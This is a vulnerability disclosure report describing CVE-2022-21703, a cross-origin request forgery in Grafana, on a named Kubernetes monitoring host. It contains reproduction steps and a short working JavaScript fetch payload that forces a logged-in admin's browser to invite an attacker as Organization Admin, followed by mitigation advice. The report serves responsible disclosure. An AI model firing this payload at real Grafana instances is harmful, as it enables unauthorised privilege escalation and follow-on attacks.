Kubernetes: monitoring.prow-canary.k8s.io is vulnerable to CVE-2022-21703 (Grafana 0-day)

Summary

Disclaimer: At the time of writing this report, CVE-2022-21703 is still a 0-day. Grafana plans to release a fix on Tuesday, February 1st, 2022.

https://monitoring.prow-canary.k8s.io runs a version of Grafana vulnerable to CVE-2022-21703. By leveraging a vulnerability like XSS or subdomain takeover on a same-site origin, an anonymous attacker to mount a cross-origin-request-forgery attack to escalate his privileges on your Grafana instance. More information about this attack vector in https://jub0bs.com/posts/2021-01-29-great-samesite-confusion.

We have not been able to find the required XSS or subdomain takeover to complete the bug chain, but you shouldn’t rule out that one such vulnerability exists or will exist in the future, and could be exploited by a malicious actor to attack your Grafana instance.

Moreover, once the attacker has Organization-Admin privileges on your Grafana instance, he can abuse Grafana’s datasource proxy to install a stored XSS payload executing in the context of your Gitlab and Grafana instances, as well as a launch a full-read SSRF attack against your network.

Steps to reproduce

This PoC is voluntarily limited and relatively uninvasive. It merely demonstrates that a cross-origin attack can force the victim into inviting the attacker as an Organization Admin to your Grafana instance.

1. Deploy the malicious page (source code available below) to a same-site origin / subdomain.
2. Log in to Grafana on https://monitoring.prow-canary.k8s.io as an Organization Admin or Grafana Admin.
3. In the same browser, visit the malicious page.
4. Inspect the list of user invitations; you should see a new invite for the attacker.
5. The exploit chain for the full attack (stored XSS and/or full-read SSRF) is more involved, but we can provide more details about it in follow-up comments upon demand.

const baseUrl = "https://monitoring.prow-canary.k8s.io";
const url = `${baseUrl}/api/org/invites`;
const name = "attacker";
const email = "[email protected]";
const data = {"name":name,"email":"","role":"Admin","sendEmail":false,"loginOrEmail":email};
const opts = {
  method: "POST",
  mode: "no-cors",
  credentials: "include",
  headers: {
    "Content-Type": "text/plain; json"
  },
  body: JSON.stringify(data)
};
fetch(url, opts);

Video of a (local) PoC

See https://www.youtube.com/watch?v=zv6VujCBQyc

Mitigation

Whatever you do, you should audit your Grafana instance for suspicious activity. Attackers aware of the possibility of cross-origin attacks may have already carried such attacks against you.

Update Grafana

If you can, update your Grafana instance to v7.5.14 or v8.3.5. At the time of writing this post, we have not had the opportunity to review Grafana’s fix, but it should protect you from CVE-2022-21703, regardless of your configuration.

In case you cannot update

If you cannot update Grafana immediately, efficient protection against CVE-2022-21703 is more difficult to achieve. Consider blocking all cross-origin requests against your Grafana instance at the reverse-proxy level; I’m conscious this isn’t possible in all cases, though.

If, perhaps in order to enable frame embedding of your Grafana dashboards,
you’ve modified Grafana’s configuration and have set

• the cookie_samesite property to none,
• the cookie_secure property to true,

you’re at increased risk, because attacks are viable from any origin (not just from same-site origins). In that case,

• consider putting your Grafana instance out of reach of public attackers (behind a VPN, perhaps), at least until you can update;
• warn your staff of possible phishing attacks in the coming days;
• continually monitor sensitive activity in your Grafana instance
  (addition of high-privilege users, etc.).

If you’ve set the cookie_samesite property to disabled, warn your Grafana users to avoid browsers that don’t yet default to Lax for the SameSite cookie attribute (Safari, most notably); favour Chromium-based browsers or Firefox.

If the cookie_samesite property is set to lax (default) or strict, you should scrutinise the security of your subdomains. Rule out the possibility of cross-site scripting (XSS) or subdomain takeover on all Web origins that are same-site with respect to the Web origin where your Grafana instance runs.

Impact

Simply by luring an authenticated Organization or Grafana Admin to the malicious page, the attacker can gain access to your Grafana instance as an Organization Admin. This privilege escalation would, among other things, allow him to view/add/edit/remove dashboards and users.

Moreover, once the attacker has Organization-Admin privileges on your Grafana instance, he can abuse Grafana’s datasource proxy to install a stored XSS payload executing in the context of your Grafana instance, as well as a launch a full-read SSRF attack against your network.